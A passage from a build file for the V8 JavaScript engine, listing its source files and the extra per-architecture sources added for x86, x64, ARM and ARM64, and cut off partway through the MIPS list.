\"src/crankshaft/hydrogen-canonicalize.h\",\n    \"src/crankshaft/hydrogen-check-elimination.cc\",\n    \"src/crankshaft/hydrogen-check-elimination.h\",\n    \"src/crankshaft/hydrogen-dce.cc\",\n    \"src/crankshaft/hydrogen-dce.h\",\n    \"src/crankshaft/hydrogen-dehoist.cc\",\n    \"src/crankshaft/hydrogen-dehoist.h\",\n    \"src/crankshaft/hydrogen-environment-liveness.cc\",\n    \"src/crankshaft/hydrogen-environment-liveness.h\",\n    \"src/crankshaft/hydrogen-escape-analysis.cc\",\n    \"src/crankshaft/hydrogen-escape-analysis.h\",\n    \"src/crankshaft/hydrogen-flow-engine.h\",\n    \"src/crankshaft/hydrogen-gvn.cc\",\n    \"src/crankshaft/hydrogen-gvn.h\",\n    \"src/crankshaft/hydrogen-infer-representation.cc\",\n    \"src/crankshaft/hydrogen-infer-representation.h\",\n    \"src/crankshaft/hydrogen-infer-types.cc\",\n    \"src/crankshaft/hydrogen-infer-types.h\",\n    \"src/crankshaft/hydrogen-instructions.cc\",\n    \"src/crankshaft/hydrogen-instructions.h\",\n    \"src/crankshaft/hydrogen-load-elimination.cc\",\n    \"src/crankshaft/hydrogen-load-elimination.h\",\n    \"src/crankshaft/hydrogen-mark-deoptimize.cc\",\n    \"src/crankshaft/hydrogen-mark-deoptimize.h\",\n    \"src/crankshaft/hydrogen-mark-unreachable.cc\",\n    \"src/crankshaft/hydrogen-mark-unreachable.h\",\n    \"src/crankshaft/hydrogen-osr.cc\",\n    \"src/crankshaft/hydrogen-osr.h\",\n    \"src/crankshaft/hydrogen-range-analysis.cc\",\n    \"src/crankshaft/hydrogen-range-analysis.h\",\n    \"src/crankshaft/hydrogen-redundant-phi.cc\",\n    \"src/crankshaft/hydrogen-redundant-phi.h\",\n    \"src/crankshaft/hydrogen-removable-simulates.cc\",\n    \"src/crankshaft/hydrogen-removable-simulates.h\",\n    \"src/crankshaft/hydrogen-representation-changes.cc\",\n    \"src/crankshaft/hydrogen-representation-changes.h\",\n    \"src/crankshaft/hydrogen-sce.cc\",\n    \"src/crankshaft/hydrogen-sce.h\",\n    \"src/crankshaft/hydrogen-store-elimination.cc\",\n    \"src/crankshaft/hydrogen-store-elimination.h\",\n    \"src/crankshaft/hydrogen-types.cc\",\n    \"src/crankshaft/hydrogen-types.h\",\n    \"src/crankshaft/hydrogen-uint32-analysis.cc\",\n    \"src/crankshaft/hydrogen-uint32-analysis.h\",\n    \"src/crankshaft/hydrogen.cc\",\n    \"src/crankshaft/hydrogen.h\",\n    \"src/crankshaft/lithium-allocator-inl.h\",\n    \"src/crankshaft/lithium-allocator.cc\",\n    \"src/crankshaft/lithium-allocator.h\",\n    \"src/crankshaft/lithium-codegen.cc\",\n    \"src/crankshaft/lithium-codegen.h\",\n    \"src/crankshaft/lithium.cc\",\n    \"src/crankshaft/lithium.h\",\n    \"src/crankshaft/typing.cc\",\n    \"src/crankshaft/typing.h\",\n    \"src/crankshaft/unique.h\",\n    \"src/date.cc\",\n    \"src/date.h\",\n    \"src/dateparser-inl.h\",\n    \"src/dateparser.cc\",\n    \"src/dateparser.h\",\n    \"src/debug/debug-evaluate.cc\",\n    \"src/debug/debug-evaluate.h\",\n    \"src/debug/debug-frames.cc\",\n    \"src/debug/debug-frames.h\",\n    \"src/debug/debug-scopes.cc\",\n    \"src/debug/debug-scopes.h\",\n    \"src/debug/debug.cc\",\n    \"src/debug/debug.h\",\n    \"src/debug/liveedit.cc\",\n    \"src/debug/liveedit.h\",\n    \"src/deoptimize-reason.cc\",\n    \"src/deoptimize-reason.h\",\n    \"src/deoptimizer.cc\",\n    \"src/deoptimizer.h\",\n    \"src/disasm.h\",\n    \"src/disassembler.cc\",\n    \"src/disassembler.h\",\n    \"src/diy-fp.cc\",\n    \"src/diy-fp.h\",\n    \"src/double.h\",\n    \"src/dtoa.cc\",\n    \"src/dtoa.h\",\n    \"src/effects.h\",\n    \"src/eh-frame.cc\",\n    \"src/eh-frame.h\",\n    \"src/elements-kind.cc\",\n    \"src/elements-kind.h\",\n    \"src/elements.cc\",\n    \"src/elements.h\",\n    \"src/execution.cc\",\n    \"src/execution.h\",\n    \"src/extensions/externalize-string-extension.cc\",\n    \"src/extensions/externalize-string-extension.h\",\n    \"src/extensions/free-buffer-extension.cc\",\n    \"src/extensions/free-buffer-extension.h\",\n    \"src/extensions/gc-extension.cc\",\n    \"src/extensions/gc-extension.h\",\n    \"src/extensions/ignition-statistics-extension.cc\",\n    \"src/extensions/ignition-statistics-extension.h\",\n    \"src/extensions/statistics-extension.cc\",\n    \"src/extensions/statistics-extension.h\",\n    \"src/extensions/trigger-failure-extension.cc\",\n    \"src/extensions/trigger-failure-extension.h\",\n    \"src/external-reference-table.cc\",\n    \"src/external-reference-table.h\",\n    \"src/factory.cc\",\n    \"src/factory.h\",\n    \"src/fast-accessor-assembler.cc\",\n    \"src/fast-accessor-assembler.h\",\n    \"src/fast-dtoa.cc\",\n    \"src/fast-dtoa.h\",\n    \"src/field-index-inl.h\",\n    \"src/field-index.h\",\n    \"src/field-type.cc\",\n    \"src/field-type.h\",\n    \"src/fixed-dtoa.cc\",\n    \"src/fixed-dtoa.h\",\n    \"src/flag-definitions.h\",\n    \"src/flags.cc\",\n    \"src/flags.h\",\n    \"src/frames-inl.h\",\n    \"src/frames.cc\",\n    \"src/frames.h\",\n    \"src/full-codegen/full-codegen.cc\",\n    \"src/full-codegen/full-codegen.h\",\n    \"src/futex-emulation.cc\",\n    \"src/futex-emulation.h\",\n    \"src/gdb-jit.cc\",\n    \"src/gdb-jit.h\",\n    \"src/global-handles.cc\",\n    \"src/global-handles.h\",\n    \"src/globals.h\",\n    \"src/handles-inl.h\",\n    \"src/handles.cc\",\n    \"src/handles.h\",\n    \"src/heap-symbols.h\",\n    \"src/heap/array-buffer-tracker-inl.h\",\n    \"src/heap/array-buffer-tracker.cc\",\n    \"src/heap/array-buffer-tracker.h\",\n    \"src/heap/code-stats.cc\",\n    \"src/heap/code-stats.h\",\n    \"src/heap/gc-idle-time-handler.cc\",\n    \"src/heap/gc-idle-time-handler.h\",\n    \"src/heap/gc-tracer.cc\",\n    \"src/heap/gc-tracer.h\",\n    \"src/heap/heap-inl.h\",\n    \"src/heap/heap.cc\",\n    \"src/heap/heap.h\",\n    \"src/heap/incremental-marking-job.cc\",\n    \"src/heap/incremental-marking-job.h\",\n    \"src/heap/incremental-marking.cc\",\n    \"src/heap/incremental-marking.h\",\n    \"src/heap/mark-compact-inl.h\",\n    \"src/heap/mark-compact.cc\",\n    \"src/heap/mark-compact.h\",\n    \"src/heap/marking.h\",\n    \"src/heap/memory-reducer.cc\",\n    \"src/heap/memory-reducer.h\",\n    \"src/heap/object-stats.cc\",\n    \"src/heap/object-stats.h\",\n    \"src/heap/objects-visiting-inl.h\",\n    \"src/heap/objects-visiting.cc\",\n    \"src/heap/objects-visiting.h\",\n    \"src/heap/page-parallel-job.h\",\n    \"src/heap/remembered-set.cc\",\n    \"src/heap/remembered-set.h\",\n    \"src/heap/scavenge-job.cc\",\n    \"src/heap/scavenge-job.h\",\n    \"src/heap/scavenger-inl.h\",\n    \"src/heap/scavenger.cc\",\n    \"src/heap/scavenger.h\",\n    \"src/heap/slot-set.h\",\n    \"src/heap/spaces-inl.h\",\n    \"src/heap/spaces.cc\",\n    \"src/heap/spaces.h\",\n    \"src/heap/store-buffer.cc\",\n    \"src/heap/store-buffer.h\",\n    \"src/i18n.cc\",\n    \"src/i18n.h\",\n    \"src/ic/access-compiler.cc\",\n    \"src/ic/access-compiler.h\",\n    \"src/ic/call-optimization.cc\",\n    \"src/ic/call-optimization.h\",\n    \"src/ic/handler-compiler.cc\",\n    \"src/ic/handler-compiler.h\",\n    \"src/ic/ic-compiler.cc\",\n    \"src/ic/ic-compiler.h\",\n    \"src/ic/ic-inl.h\",\n    \"src/ic/ic-state.cc\",\n    \"src/ic/ic-state.h\",\n    \"src/ic/ic.cc\",\n    \"src/ic/ic.h\",\n    \"src/ic/stub-cache.cc\",\n    \"src/ic/stub-cache.h\",\n    \"src/icu_util.cc\",\n    \"src/icu_util.h\",\n    \"src/identity-map.cc\",\n    \"src/identity-map.h\",\n    \"src/interface-descriptors.cc\",\n    \"src/interface-descriptors.h\",\n    \"src/interpreter/bytecode-array-builder.cc\",\n    \"src/interpreter/bytecode-array-builder.h\",\n    \"src/interpreter/bytecode-array-iterator.cc\",\n    \"src/interpreter/bytecode-array-iterator.h\",\n    \"src/interpreter/bytecode-array-writer.cc\",\n    \"src/interpreter/bytecode-array-writer.h\",\n    \"src/interpreter/bytecode-dead-code-optimizer.cc\",\n    \"src/interpreter/bytecode-dead-code-optimizer.h\",\n    \"src/interpreter/bytecode-decoder.cc\",\n    \"src/interpreter/bytecode-decoder.h\",\n    \"src/interpreter/bytecode-flags.cc\",\n    \"src/interpreter/bytecode-flags.h\",\n    \"src/interpreter/bytecode-generator.cc\",\n    \"src/interpreter/bytecode-generator.h\",\n    \"src/interpreter/bytecode-label.cc\",\n    \"src/interpreter/bytecode-label.h\",\n    \"src/interpreter/bytecode-peephole-optimizer.cc\",\n    \"src/interpreter/bytecode-peephole-optimizer.h\",\n    \"src/interpreter/bytecode-peephole-table.h\",\n    \"src/interpreter/bytecode-pipeline.cc\",\n    \"src/interpreter/bytecode-pipeline.h\",\n    \"src/interpreter/bytecode-register-allocator.cc\",\n    \"src/interpreter/bytecode-register-allocator.h\",\n    \"src/interpreter/bytecode-register-optimizer.cc\",\n    \"src/interpreter/bytecode-register-optimizer.h\",\n    \"src/interpreter/bytecode-register.cc\",\n    \"src/interpreter/bytecode-register.h\",\n    \"src/interpreter/bytecode-traits.h\",\n    \"src/interpreter/bytecodes.cc\",\n    \"src/interpreter/bytecodes.h\",\n    \"src/interpreter/constant-array-builder.cc\",\n    \"src/interpreter/constant-array-builder.h\",\n    \"src/interpreter/control-flow-builders.cc\",\n    \"src/interpreter/control-flow-builders.h\",\n    \"src/interpreter/handler-table-builder.cc\",\n    \"src/interpreter/handler-table-builder.h\",\n    \"src/interpreter/interpreter-assembler.cc\",\n    \"src/interpreter/interpreter-assembler.h\",\n    \"src/interpreter/interpreter-intrinsics.cc\",\n    \"src/interpreter/interpreter-intrinsics.h\",\n    \"src/interpreter/interpreter.cc\",\n    \"src/interpreter/interpreter.h\",\n    \"src/isolate-inl.h\",\n    \"src/isolate.cc\",\n    \"src/isolate.h\",\n    \"src/json-parser.cc\",\n    \"src/json-parser.h\",\n    \"src/json-stringifier.cc\",\n    \"src/json-stringifier.h\",\n    \"src/keys.cc\",\n    \"src/keys.h\",\n    \"src/layout-descriptor-inl.h\",\n    \"src/layout-descriptor.cc\",\n    \"src/layout-descriptor.h\",\n    \"src/list-inl.h\",\n    \"src/list.h\",\n    \"src/log-inl.h\",\n    \"src/log-utils.cc\",\n    \"src/log-utils.h\",\n    \"src/log.cc\",\n    \"src/log.h\",\n    \"src/lookup.cc\",\n    \"src/lookup.h\",\n    \"src/machine-type.cc\",\n    \"src/machine-type.h\",\n    \"src/macro-assembler.h\",\n    \"src/messages.cc\",\n    \"src/messages.h\",\n    \"src/msan.h\",\n    \"src/objects-body-descriptors-inl.h\",\n    \"src/objects-body-descriptors.h\",\n    \"src/objects-debug.cc\",\n    \"src/objects-inl.h\",\n    \"src/objects-printer.cc\",\n    \"src/objects.cc\",\n    \"src/objects.h\",\n    \"src/ostreams.cc\",\n    \"src/ostreams.h\",\n    \"src/parsing/expression-classifier.h\",\n    \"src/parsing/func-name-inferrer.cc\",\n    \"src/parsing/func-name-inferrer.h\",\n    \"src/parsing/parameter-initializer-rewriter.cc\",\n    \"src/parsing/parameter-initializer-rewriter.h\",\n    \"src/parsing/parse-info.cc\",\n    \"src/parsing/parse-info.h\",\n    \"src/parsing/parser-base.h\",\n    \"src/parsing/parser.cc\",\n    \"src/parsing/parser.h\",\n    \"src/parsing/pattern-rewriter.cc\",\n    \"src/parsing/preparse-data-format.h\",\n    \"src/parsing/preparse-data.cc\",\n    \"src/parsing/preparse-data.h\",\n    \"src/parsing/preparser.cc\",\n    \"src/parsing/preparser.h\",\n    \"src/parsing/rewriter.cc\",\n    \"src/parsing/rewriter.h\",\n    \"src/parsing/scanner-character-streams.cc\",\n    \"src/parsing/scanner-character-streams.h\",\n    \"src/parsing/scanner.cc\",\n    \"src/parsing/scanner.h\",\n    \"src/parsing/token.cc\",\n    \"src/parsing/token.h\",\n    \"src/pending-compilation-error-handler.cc\",\n    \"src/pending-compilation-error-handler.h\",\n    \"src/perf-jit.cc\",\n    \"src/perf-jit.h\",\n    \"src/profiler/allocation-tracker.cc\",\n    \"src/profiler/allocation-tracker.h\",\n    \"src/profiler/circular-queue-inl.h\",\n    \"src/profiler/circular-queue.h\",\n    \"src/profiler/cpu-profiler-inl.h\",\n    \"src/profiler/cpu-profiler.cc\",\n    \"src/profiler/cpu-profiler.h\",\n    \"src/profiler/heap-profiler.cc\",\n    \"src/profiler/heap-profiler.h\",\n    \"src/profiler/heap-snapshot-generator-inl.h\",\n    \"src/profiler/heap-snapshot-generator.cc\",\n    \"src/profiler/heap-snapshot-generator.h\",\n    \"src/profiler/profile-generator-inl.h\",\n    \"src/profiler/profile-generator.cc\",\n    \"src/profiler/profile-generator.h\",\n    \"src/profiler/profiler-listener.cc\",\n    \"src/profiler/profiler-listener.h\",\n    \"src/profiler/sampling-heap-profiler.cc\",\n    \"src/profiler/sampling-heap-profiler.h\",\n    \"src/profiler/strings-storage.cc\",\n    \"src/profiler/strings-storage.h\",\n    \"src/profiler/tick-sample.cc\",\n    \"src/profiler/tick-sample.h\",\n    \"src/profiler/unbound-queue-inl.h\",\n    \"src/profiler/unbound-queue.h\",\n    \"src/property-descriptor.cc\",\n    \"src/property-descriptor.h\",\n    \"src/property-details.h\",\n    \"src/property.cc\",\n    \"src/property.h\",\n    \"src/prototype.h\",\n    \"src/regexp/bytecodes-irregexp.h\",\n    \"src/regexp/interpreter-irregexp.cc\",\n    \"src/regexp/interpreter-irregexp.h\",\n    \"src/regexp/jsregexp-inl.h\",\n    \"src/regexp/jsregexp.cc\",\n    \"src/regexp/jsregexp.h\",\n    \"src/regexp/regexp-ast.cc\",\n    \"src/regexp/regexp-ast.h\",\n    \"src/regexp/regexp-macro-assembler-irregexp-inl.h\",\n    \"src/regexp/regexp-macro-assembler-irregexp.cc\",\n    \"src/regexp/regexp-macro-assembler-irregexp.h\",\n    \"src/regexp/regexp-macro-assembler-tracer.cc\",\n    \"src/regexp/regexp-macro-assembler-tracer.h\",\n    \"src/regexp/regexp-macro-assembler.cc\",\n    \"src/regexp/regexp-macro-assembler.h\",\n    \"src/regexp/regexp-parser.cc\",\n    \"src/regexp/regexp-parser.h\",\n    \"src/regexp/regexp-stack.cc\",\n    \"src/regexp/regexp-stack.h\",\n    \"src/register-configuration.cc\",\n    \"src/register-configuration.h\",\n    \"src/runtime-profiler.cc\",\n    \"src/runtime-profiler.h\",\n    \"src/runtime/runtime-array.cc\",\n    \"src/runtime/runtime-atomics.cc\",\n    \"src/runtime/runtime-classes.cc\",\n    \"src/runtime/runtime-collections.cc\",\n    \"src/runtime/runtime-compiler.cc\",\n    \"src/runtime/runtime-date.cc\",\n    \"src/runtime/runtime-debug.cc\",\n    \"src/runtime/runtime-error.cc\",\n    \"src/runtime/runtime-forin.cc\",\n    \"src/runtime/runtime-function.cc\",\n    \"src/runtime/runtime-futex.cc\",\n    \"src/runtime/runtime-generator.cc\",\n    \"src/runtime/runtime-i18n.cc\",\n    \"src/runtime/runtime-internal.cc\",\n    \"src/runtime/runtime-interpreter.cc\",\n    \"src/runtime/runtime-literals.cc\",\n    \"src/runtime/runtime-liveedit.cc\",\n    \"src/runtime/runtime-maths.cc\",\n    \"src/runtime/runtime-numbers.cc\",\n    \"src/runtime/runtime-object.cc\",\n    \"src/runtime/runtime-operators.cc\",\n    \"src/runtime/runtime-proxy.cc\",\n    \"src/runtime/runtime-regexp.cc\",\n    \"src/runtime/runtime-scopes.cc\",\n    \"src/runtime/runtime-simd.cc\",\n    \"src/runtime/runtime-strings.cc\",\n    \"src/runtime/runtime-symbol.cc\",\n    \"src/runtime/runtime-test.cc\",\n    \"src/runtime/runtime-typedarray.cc\",\n    \"src/runtime/runtime-utils.h\",\n    \"src/runtime/runtime-wasm.cc\",\n    \"src/runtime/runtime.cc\",\n    \"src/runtime/runtime.h\",\n    \"src/safepoint-table.cc\",\n    \"src/safepoint-table.h\",\n    \"src/signature.h\",\n    \"src/simulator.h\",\n    \"src/small-pointer-list.h\",\n    \"src/snapshot/code-serializer.cc\",\n    \"src/snapshot/code-serializer.h\",\n    \"src/snapshot/deserializer.cc\",\n    \"src/snapshot/deserializer.h\",\n    \"src/snapshot/natives-common.cc\",\n    \"src/snapshot/natives.h\",\n    \"src/snapshot/partial-serializer.cc\",\n    \"src/snapshot/partial-serializer.h\",\n    \"src/snapshot/serializer-common.cc\",\n    \"src/snapshot/serializer-common.h\",\n    \"src/snapshot/serializer.cc\",\n    \"src/snapshot/serializer.h\",\n    \"src/snapshot/snapshot-common.cc\",\n    \"src/snapshot/snapshot-source-sink.cc\",\n    \"src/snapshot/snapshot-source-sink.h\",\n    \"src/snapshot/snapshot.h\",\n    \"src/snapshot/startup-serializer.cc\",\n    \"src/snapshot/startup-serializer.h\",\n    \"src/source-position-table.cc\",\n    \"src/source-position-table.h\",\n    \"src/source-position.h\",\n    \"src/splay-tree-inl.h\",\n    \"src/splay-tree.h\",\n    \"src/startup-data-util.cc\",\n    \"src/startup-data-util.h\",\n    \"src/string-builder.cc\",\n    \"src/string-builder.h\",\n    \"src/string-search.h\",\n    \"src/string-stream.cc\",\n    \"src/string-stream.h\",\n    \"src/strtod.cc\",\n    \"src/strtod.h\",\n    \"src/tracing/trace-event.cc\",\n    \"src/tracing/trace-event.h\",\n    \"src/transitions-inl.h\",\n    \"src/transitions.cc\",\n    \"src/transitions.h\",\n    \"src/type-cache.cc\",\n    \"src/type-cache.h\",\n    \"src/type-feedback-vector-inl.h\",\n    \"src/type-feedback-vector.cc\",\n    \"src/type-feedback-vector.h\",\n    \"src/type-info.cc\",\n    \"src/type-info.h\",\n    \"src/types.cc\",\n    \"src/types.h\",\n    \"src/unicode-cache-inl.h\",\n    \"src/unicode-cache.h\",\n    \"src/unicode-decoder.cc\",\n    \"src/unicode-decoder.h\",\n    \"src/unicode-inl.h\",\n    \"src/unicode.cc\",\n    \"src/unicode.h\",\n    \"src/uri.cc\",\n    \"src/uri.h\",\n    \"src/utils-inl.h\",\n    \"src/utils.cc\",\n    \"src/utils.h\",\n    \"src/v8.cc\",\n    \"src/v8.h\",\n    \"src/v8memory.h\",\n    \"src/v8threads.cc\",\n    \"src/v8threads.h\",\n    \"src/value-serializer.cc\",\n    \"src/value-serializer.h\",\n    \"src/version.cc\",\n    \"src/version.h\",\n    \"src/vm-state-inl.h\",\n    \"src/vm-state.h\",\n    \"src/wasm/ast-decoder.cc\",\n    \"src/wasm/ast-decoder.h\",\n    \"src/wasm/decoder.h\",\n    \"src/wasm/encoder.cc\",\n    \"src/wasm/encoder.h\",\n    \"src/wasm/leb-helper.h\",\n    \"src/wasm/module-decoder.cc\",\n    \"src/wasm/module-decoder.h\",\n    \"src/wasm/switch-logic.cc\",\n    \"src/wasm/switch-logic.h\",\n    \"src/wasm/wasm-debug.cc\",\n    \"src/wasm/wasm-debug.h\",\n    \"src/wasm/wasm-external-refs.cc\",\n    \"src/wasm/wasm-external-refs.h\",\n    \"src/wasm/wasm-function-name-table.cc\",\n    \"src/wasm/wasm-function-name-table.h\",\n    \"src/wasm/wasm-interpreter.cc\",\n    \"src/wasm/wasm-interpreter.h\",\n    \"src/wasm/wasm-js.cc\",\n    \"src/wasm/wasm-js.h\",\n    \"src/wasm/wasm-macro-gen.h\",\n    \"src/wasm/wasm-module.cc\",\n    \"src/wasm/wasm-module.h\",\n    \"src/wasm/wasm-opcodes.cc\",\n    \"src/wasm/wasm-opcodes.h\",\n    \"src/wasm/wasm-result.cc\",\n    \"src/wasm/wasm-result.h\",\n    \"src/zone-allocator.h\",\n    \"src/zone-containers.h\",\n    \"src/zone.cc\",\n    \"src/zone.h\",\n  ]\n\n  if (v8_current_cpu == \"x86\") {\n    sources += [\n      \"src/builtins/ia32/builtins-ia32.cc\",\n      \"src/compiler/ia32/code-generator-ia32.cc\",\n      \"src/compiler/ia32/instruction-codes-ia32.h\",\n      \"src/compiler/ia32/instruction-scheduler-ia32.cc\",\n      \"src/compiler/ia32/instruction-selector-ia32.cc\",\n      \"src/crankshaft/ia32/lithium-codegen-ia32.cc\",\n      \"src/crankshaft/ia32/lithium-codegen-ia32.h\",\n      \"src/crankshaft/ia32/lithium-gap-resolver-ia32.cc\",\n      \"src/crankshaft/ia32/lithium-gap-resolver-ia32.h\",\n      \"src/crankshaft/ia32/lithium-ia32.cc\",\n      \"src/crankshaft/ia32/lithium-ia32.h\",\n      \"src/debug/ia32/debug-ia32.cc\",\n      \"src/full-codegen/ia32/full-codegen-ia32.cc\",\n      \"src/ia32/assembler-ia32-inl.h\",\n      \"src/ia32/assembler-ia32.cc\",\n      \"src/ia32/assembler-ia32.h\",\n      \"src/ia32/code-stubs-ia32.cc\",\n      \"src/ia32/code-stubs-ia32.h\",\n      \"src/ia32/codegen-ia32.cc\",\n      \"src/ia32/codegen-ia32.h\",\n      \"src/ia32/cpu-ia32.cc\",\n      \"src/ia32/deoptimizer-ia32.cc\",\n      \"src/ia32/disasm-ia32.cc\",\n      \"src/ia32/frames-ia32.cc\",\n      \"src/ia32/frames-ia32.h\",\n      \"src/ia32/interface-descriptors-ia32.cc\",\n      \"src/ia32/macro-assembler-ia32.cc\",\n      \"src/ia32/macro-assembler-ia32.h\",\n      \"src/ic/ia32/access-compiler-ia32.cc\",\n      \"src/ic/ia32/handler-compiler-ia32.cc\",\n      \"src/ic/ia32/ic-compiler-ia32.cc\",\n      \"src/ic/ia32/ic-ia32.cc\",\n      \"src/ic/ia32/stub-cache-ia32.cc\",\n      \"src/regexp/ia32/regexp-macro-assembler-ia32.cc\",\n      \"src/regexp/ia32/regexp-macro-assembler-ia32.h\",\n    ]\n  } else if (v8_current_cpu == \"x64\") {\n    sources += [\n      \"src/builtins/x64/builtins-x64.cc\",\n      \"src/compiler/x64/code-generator-x64.cc\",\n      \"src/compiler/x64/instruction-codes-x64.h\",\n      \"src/compiler/x64/instruction-scheduler-x64.cc\",\n      \"src/compiler/x64/instruction-selector-x64.cc\",\n      \"src/compiler/x64/unwinding-info-writer-x64.cc\",\n      \"src/compiler/x64/unwinding-info-writer-x64.h\",\n      \"src/crankshaft/x64/lithium-codegen-x64.cc\",\n      \"src/crankshaft/x64/lithium-codegen-x64.h\",\n      \"src/crankshaft/x64/lithium-gap-resolver-x64.cc\",\n      \"src/crankshaft/x64/lithium-gap-resolver-x64.h\",\n      \"src/crankshaft/x64/lithium-x64.cc\",\n      \"src/crankshaft/x64/lithium-x64.h\",\n      \"src/debug/x64/debug-x64.cc\",\n      \"src/full-codegen/x64/full-codegen-x64.cc\",\n      \"src/ic/x64/access-compiler-x64.cc\",\n      \"src/ic/x64/handler-compiler-x64.cc\",\n      \"src/ic/x64/ic-compiler-x64.cc\",\n      \"src/ic/x64/ic-x64.cc\",\n      \"src/ic/x64/stub-cache-x64.cc\",\n      \"src/regexp/x64/regexp-macro-assembler-x64.cc\",\n      \"src/regexp/x64/regexp-macro-assembler-x64.h\",\n      \"src/x64/assembler-x64-inl.h\",\n      \"src/x64/assembler-x64.cc\",\n      \"src/x64/assembler-x64.h\",\n      \"src/x64/code-stubs-x64.cc\",\n      \"src/x64/code-stubs-x64.h\",\n      \"src/x64/codegen-x64.cc\",\n      \"src/x64/codegen-x64.h\",\n      \"src/x64/cpu-x64.cc\",\n      \"src/x64/deoptimizer-x64.cc\",\n      \"src/x64/disasm-x64.cc\",\n      \"src/x64/eh-frame-x64.cc\",\n      \"src/x64/frames-x64.cc\",\n      \"src/x64/frames-x64.h\",\n      \"src/x64/interface-descriptors-x64.cc\",\n      \"src/x64/macro-assembler-x64.cc\",\n      \"src/x64/macro-assembler-x64.h\",\n    ]\n  } else if (v8_current_cpu == \"arm\") {\n    sources += [\n      \"src/arm/assembler-arm-inl.h\",\n      \"src/arm/assembler-arm.cc\",\n      \"src/arm/assembler-arm.h\",\n      \"src/arm/code-stubs-arm.cc\",\n      \"src/arm/code-stubs-arm.h\",\n      \"src/arm/codegen-arm.cc\",\n      \"src/arm/codegen-arm.h\",\n      \"src/arm/constants-arm.cc\",\n      \"src/arm/constants-arm.h\",\n      \"src/arm/cpu-arm.cc\",\n      \"src/arm/deoptimizer-arm.cc\",\n      \"src/arm/disasm-arm.cc\",\n      \"src/arm/eh-frame-arm.cc\",\n      \"src/arm/frames-arm.cc\",\n      \"src/arm/frames-arm.h\",\n      \"src/arm/interface-descriptors-arm.cc\",\n      \"src/arm/interface-descriptors-arm.h\",\n      \"src/arm/macro-assembler-arm.cc\",\n      \"src/arm/macro-assembler-arm.h\",\n      \"src/arm/simulator-arm.cc\",\n      \"src/arm/simulator-arm.h\",\n      \"src/builtins/arm/builtins-arm.cc\",\n      \"src/compiler/arm/code-generator-arm.cc\",\n      \"src/compiler/arm/instruction-codes-arm.h\",\n      \"src/compiler/arm/instruction-scheduler-arm.cc\",\n      \"src/compiler/arm/instruction-selector-arm.cc\",\n      \"src/compiler/arm/unwinding-info-writer-arm.cc\",\n      \"src/compiler/arm/unwinding-info-writer-arm.h\",\n      \"src/crankshaft/arm/lithium-arm.cc\",\n      \"src/crankshaft/arm/lithium-arm.h\",\n      \"src/crankshaft/arm/lithium-codegen-arm.cc\",\n      \"src/crankshaft/arm/lithium-codegen-arm.h\",\n      \"src/crankshaft/arm/lithium-gap-resolver-arm.cc\",\n      \"src/crankshaft/arm/lithium-gap-resolver-arm.h\",\n      \"src/debug/arm/debug-arm.cc\",\n      \"src/full-codegen/arm/full-codegen-arm.cc\",\n      \"src/ic/arm/access-compiler-arm.cc\",\n      \"src/ic/arm/handler-compiler-arm.cc\",\n      \"src/ic/arm/ic-arm.cc\",\n      \"src/ic/arm/ic-compiler-arm.cc\",\n      \"src/ic/arm/stub-cache-arm.cc\",\n      \"src/regexp/arm/regexp-macro-assembler-arm.cc\",\n      \"src/regexp/arm/regexp-macro-assembler-arm.h\",\n    ]\n  } else if (v8_current_cpu == \"arm64\") {\n    sources += [\n      \"src/arm64/assembler-arm64-inl.h\",\n      \"src/arm64/assembler-arm64.cc\",\n      \"src/arm64/assembler-arm64.h\",\n      \"src/arm64/code-stubs-arm64.cc\",\n      \"src/arm64/code-stubs-arm64.h\",\n      \"src/arm64/codegen-arm64.cc\",\n      \"src/arm64/codegen-arm64.h\",\n      \"src/arm64/constants-arm64.h\",\n      \"src/arm64/cpu-arm64.cc\",\n      \"src/arm64/decoder-arm64-inl.h\",\n      \"src/arm64/decoder-arm64.cc\",\n      \"src/arm64/decoder-arm64.h\",\n      \"src/arm64/deoptimizer-arm64.cc\",\n      \"src/arm64/disasm-arm64.cc\",\n      \"src/arm64/disasm-arm64.h\",\n      \"src/arm64/eh-frame-arm64.cc\",\n      \"src/arm64/frames-arm64.cc\",\n      \"src/arm64/frames-arm64.h\",\n      \"src/arm64/instructions-arm64.cc\",\n      \"src/arm64/instructions-arm64.h\",\n      \"src/arm64/instrument-arm64.cc\",\n      \"src/arm64/instrument-arm64.h\",\n      \"src/arm64/interface-descriptors-arm64.cc\",\n      \"src/arm64/interface-descriptors-arm64.h\",\n      \"src/arm64/macro-assembler-arm64-inl.h\",\n      \"src/arm64/macro-assembler-arm64.cc\",\n      \"src/arm64/macro-assembler-arm64.h\",\n      \"src/arm64/simulator-arm64.cc\",\n      \"src/arm64/simulator-arm64.h\",\n      \"src/arm64/utils-arm64.cc\",\n      \"src/arm64/utils-arm64.h\",\n      \"src/builtins/arm64/builtins-arm64.cc\",\n      \"src/compiler/arm64/code-generator-arm64.cc\",\n      \"src/compiler/arm64/instruction-codes-arm64.h\",\n      \"src/compiler/arm64/instruction-scheduler-arm64.cc\",\n      \"src/compiler/arm64/instruction-selector-arm64.cc\",\n      \"src/compiler/arm64/unwinding-info-writer-arm64.cc\",\n      \"src/compiler/arm64/unwinding-info-writer-arm64.h\",\n      \"src/crankshaft/arm64/delayed-masm-arm64-inl.h\",\n      \"src/crankshaft/arm64/delayed-masm-arm64.cc\",\n      \"src/crankshaft/arm64/delayed-masm-arm64.h\",\n      \"src/crankshaft/arm64/lithium-arm64.cc\",\n      \"src/crankshaft/arm64/lithium-arm64.h\",\n      \"src/crankshaft/arm64/lithium-codegen-arm64.cc\",\n      \"src/crankshaft/arm64/lithium-codegen-arm64.h\",\n      \"src/crankshaft/arm64/lithium-gap-resolver-arm64.cc\",\n      \"src/crankshaft/arm64/lithium-gap-resolver-arm64.h\",\n      \"src/debug/arm64/debug-arm64.cc\",\n      \"src/full-codegen/arm64/full-codegen-arm64.cc\",\n      \"src/ic/arm64/access-compiler-arm64.cc\",\n      \"src/ic/arm64/handler-compiler-arm64.cc\",\n      \"src/ic/arm64/ic-arm64.cc\",\n      \"src/ic/arm64/ic-compiler-arm64.cc\",\n      \"src/ic/arm64/stub-cache-arm64.cc\",\n      \"src/regexp/arm64/regexp-macro-assembler-arm64.cc\",\n      \"src/regexp/arm64/regexp-macro-assembler-arm64.h\",\n    ]\n  } else if (v8_current_cpu == \"mipsel\") {\n    sources += [\n      \"src/builtins/mips/builtins-mips.cc\",\n      \"src/compiler/mips/code-generator-mips.cc\",\n      \"src/compiler/mips/instruction-codes-mips.h\",\n      \"src/compiler/mips/instruction-scheduler-mips.cc\",\n      \"src/compiler/mips/instruction-selector-mips.cc\",\n      